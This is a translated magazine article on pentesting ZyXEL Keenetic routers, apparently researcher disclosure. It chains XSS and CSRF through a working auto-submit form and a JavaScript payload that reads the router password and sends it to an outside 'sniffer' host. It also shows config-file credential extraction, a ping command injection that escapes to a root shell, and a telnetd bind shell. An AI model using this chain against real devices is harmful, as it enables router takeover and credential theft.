Attacking Routers: How Bugs in the Admin Interface Could Lead to Full System Takeover

This article was published in “Xakep” #171 magazine.
Original russian version - PDF

Attacking Routers: How Bugs in the Admin Interface Could Lead to Full System Takeover

Software manufacturers do not sufficiently care about the security of routers. Yet, it is through the router that an attacker can penetrate the internal network and eavesdrop on all passing traffic. In this article, we will examine the bugs and vulnerabilities found by me and my colleague @090h during the pentesting of the popular ZyXEL Keenetic routers.

MODERN ROUTER

If we exclude those who compare setting up a Wi-Fi router with mounting a cell tower at home and fear the effects of radio waves on their brains, we can confidently say that almost every active Internet user has a wireless access point. Besides convenience, a Wi-Fi router generally adds security: the user’s devices are behind a firewall and are inaccessible for direct attacks. However, the access point itself can become a target for attacks. The software of the access point (like any other device) can often be vulnerable. Manufacturers usually give little importance to thorough security checks, focusing instead on user convenience and maximum performance. The argument is simple: if most services are inaccessible from the outside, and the admin panel is only accessible to users on the local network, then why bother? In reality, a set of simple vulnerabilities combined with social engineering can give an attacker remote access to the router’s management (though under certain circumstances). In this article, we explore the potential for such an attack on the ZyXEL Keenetic router, with the first version of the firmware installed by default.

FIRST LOOK

We need to understand that we deliberately looked for vulnerabilities in the router. The goal was not to hack someone who had the desired access point. The first thing we did was scan the ports with Nmap from the internal network (the web admin panel is closed by default from the outside). The scanner showed us three open ports, of which only two interested us: port 80 (web interface) and port 23 (Telnet).

1
2
3
4
5
6
7
8
PORT      STATE SERVICE      VERSION
23/tcp open telnet?
53/tcp open domain dnsmasq 2.55
|_ dns-nsid:
|_ bind.version: dnsmasq-2.55
80/tcp open http GoAhead-Webs httpd
| http-auth:
| HTTP/1.0 401 Unauthorized

On port 80, there is a regular web interface for router management. This is where we will start.

WEB BUGS

From a security perspective, the web interface is a disaster. The classic scenario: everywhere there is an opportunity to enter your information, there is no filtration! The forms lack any tokens, opening the door for CSRF attacks.

I will not consider every XSS in detail, but I would like to highlight an interesting way to exploit XSS (a life hack). You probably would like to hide yourself from the list of clients connected to the router (which can be viewed in the router’s admin panel). It would seem that for this, you need access to the console, to write kernel modules, and so on. But the answer is on the surface. Simply change the name of your computer to 1')}');alert(1); and connect to the router. As a result, you can see that we have “squeezed” into the JS in such a way that it did not process and issued an empty list of clients. This will be quite enough to hide yourself and other users connected to the access point from the eyes of an inattentive admin.

Thanks to CSRF and XSS, you can get the password from the router and gain remote access through the backend, which will be the most valuable gift. However, for this, you cannot do without social engineering (any attack becomes possible only under certain circumstances).

  1. Send the admin a link to a host with a pre-prepared HTML file:
1
2
3
4
5
6
7
8
<FORM NAME="buy" action="http://192.168.1.1/req/usersAdd" METHOD="POST">
<input type="hidden" name='user_name' value='<script src="//server/js/1.js" type="text/javascript">'>
<input type="hidden" name="password" value="3">
<input type="hidden" name="fullAccess" value="0">
<input type="hidden" name="save" value="%D0%94%D0%B0%D0%B2%D0%B8%D1%82%D1%8C">
<input type="hidden" name="submit_url" value="%2Fserver%2Fusers.asp">
</FORM>
<script>document.buy.submit();setTimeout('document.location = "http://192.168.1.1/server/users.asp"', 3000)</script>

As you can see, auto-submit and typical CSRF are used. In one of the fields — user_name — our JS payload is inserted using <script>.

  1. The user is redirected to a Trojanized script page of the router, and the XSS code is executed in their browser. However, there is one important nuance. The admin panel uses Basic access authentication, so the attack will only work if the admin panel is open or if the login-password was saved in the browser.

  2. Using the payload, we perform the necessary actions. In the example attached to the article, we simply extract the router password from the web interface and send it to our sniffer. The payload for this task is quite simple:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
var xmlhttp = getXmlHttp()
xmlhttp.open('GET', '/homenet/wireless/security.asp', false);
xmlhttp.send(null);
if(xmlhttp.status == 200) {
t = xmlhttp.responseText;
}
t=t.replace(/^(.*\n)*.*<html/i, "<html");
t=t.replace(/<\/html>(.*\n)*.*$/i, "</html>");
var parser = new DOMParser();
var dom = parser.parseFromString(t, "text/xml");
password = dom.getElementsByTagName('input')[10].value //and here is the password
//send to sniffer
var imm = document.createElement('img');
imm.setAttribute('src', "http://server/snifer?" + password)

It is worth noting that by downloading the file http://192.168.1.1/req/config/KEENETIC.cfg from the router to our remote server and running the command cat KEENETIC.cfg | gzip -d, we will get the value of all system variables, including the Wi-Fi key from the router and the router’s admin password.

  1. After successfully transmitting the data to the sniffer, we perform AJAX to send a request to clear the table (thus erasing our XSS).
1
2
3
4
5
...
//clear
var xmlhttp = getXmlHttp()
xmlhttp.open('POST', '/req/usersDel', false);
xmlhttp.send("select0=ON&select1=ON&delAll=%D0%A3%D0%B4%D0%B0%D0%BB%D0%B8%D1%82%D1%8C+%D0%B2%D1%81%D0%B5&submit_url=%2Fserver%2Fusers.asp%3Fuser_name%3DCSRF%0D%0Apassword%3DCSRF%0D%0AfullAccess%3D0%0D%0Asave%3D%D0%94%D0%BE%D0%B1%D0%B5%D0%B2%D0%B8%D1%82%D1%8C%0D%0Asubmit_url%3D%2Fserver%2Fusers.asp");
  1. Bingo! The router is ours!

Of course, this is more of a proof-of-concept. This does not mean that any of the half a million Keenetic devices sold can be hacked. The attack is possible under two circumstances. The admin must open the link — this is the first. And the router’s web interface must be open in the browser, or the login-password must be saved in the browser. However, the proof-of-concept works!

JAILBREAK FROM CMD

By connecting via Telnet and logging in with the credentials we extracted from the KEENETIC.cfg file, we get into the Keenetic interactive console. Here we can perform primitive operations or even system commands through exec.
Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Password:
KEENETIC 4G> sys atsh
F/W version: V1.00(AABV.1.2)D0
Product Model: KEENETIC 4G_RevB

KEENETIC 4G> wlan status
Hardware address: CC:5D:4E:FE:A1:00
Wireless: On
Mode: Access Point
SSID: ZyXEL_KEENETIC_4G_FEA100
Channel: 10
Protocol: 802.11b/g/n
Security: WPA2-PSK TKIP/AES
ASCII key: 14881488

But the fact is, this is terribly inconvenient, and we would like to have a full console, not some crooked wrapper. To get a full console, an interesting bug with incorrect argument parsing for ping was found and exploited. Thanks to it, we can execute arbitrary commands and even “jump out” of the provided shell into the ash shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
KEENETIC 4G> sys ping ya.ru;ls
ping: bad address 'ya.ru'
bin dev etc lib proc sbin sys tmp usr var web

KEENETIC 4G> sys ping ya.ru;ash
ping: bad address 'ya.ru'

BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash

)
Enter 'help' for a list of built-in commands.

~ #

And now we already have a full console. Now we can do anything we want, but we should not forget that the router uses the squashfs file system in read-only mode. Now let’s do something that will make our work with the console easier. Of course, it’s a bind-shell. It is done very simply:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~ # telnetd -F -l /bin/ash -p 9090

Now open the console on our computer:

root@bt:~# telnet 192.168.1.1 9090
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ #

~ # cat /proc/version
Linux version 2.6.23.17 ([email protected]) (gcc version 4.1.2) #9 Tue Feb 21 20:21:39 MSK 2012

As you can see, if desired, we can also make a back-connect to our server. In some cases, this can help bypass protection if any exists.

CONCEPTS

The found bugs open up opportunities for further development of the attack. Let’s consider some concepts.

  1. Making changes to the router’s software.
    As I mentioned earlier, we are dealing with the squashfs file system, and to change anything, you need to make a great effort. First, download the original firmware and unpack it (you can easily find many instructions on the internet), then change the necessary files and “glue” the firmware back together. After that, you need to update the firmware on the router by uploading the modified firmware file. This way, we can change, add, and delete any files from the firmware.

  2. Adding functionality through a kernel module.
    If you have the skills to program kernel modules, nothing prevents you from writing your kernel module, compiling it, and loading it through lsmod. However, to have the space to create and change files without updating the firmware, we must connect an external storage device and work directly with it (although many users already have an external storage device connected).

  3. Getting additional data through the flash command.
    It is worth paying attention to a tool like the flash command available in the router’s console. It can give us interesting data (for example, the password for the NetFriend program for remote router configuration), which can later be used against the victim. Example:

1
2
3
4
5
6
7
8
9
KEENETIC 4G> flash get SUPER_NAME
SUPER_NAME="t0u34"
KEENETIC 4G> flash get SUPER_PASSWORD
SUPER_PASSWORD="i@t0D93u34jf~34:j#L9.Sd"
KEENETIC 4G> flash get ADMIN_NAME
ADMIN_NAME="admin"
KEENETIC 4G> flash get ADMIN_PASSWORD
ADMIN_PASSWORD="1234"
KEENETIC 4G>

VERDICT

It should be understood that the case of ZyXEL is not unique — almost all router manufacturers can boast flaws in their software. Not the most critical vulnerabilities at first glance, when combined with social engineering, can lead to rather sad consequences. However, you can protect yourself from this by regularly updating the router’s firmware and changing all settings that prohibit remote use of the router.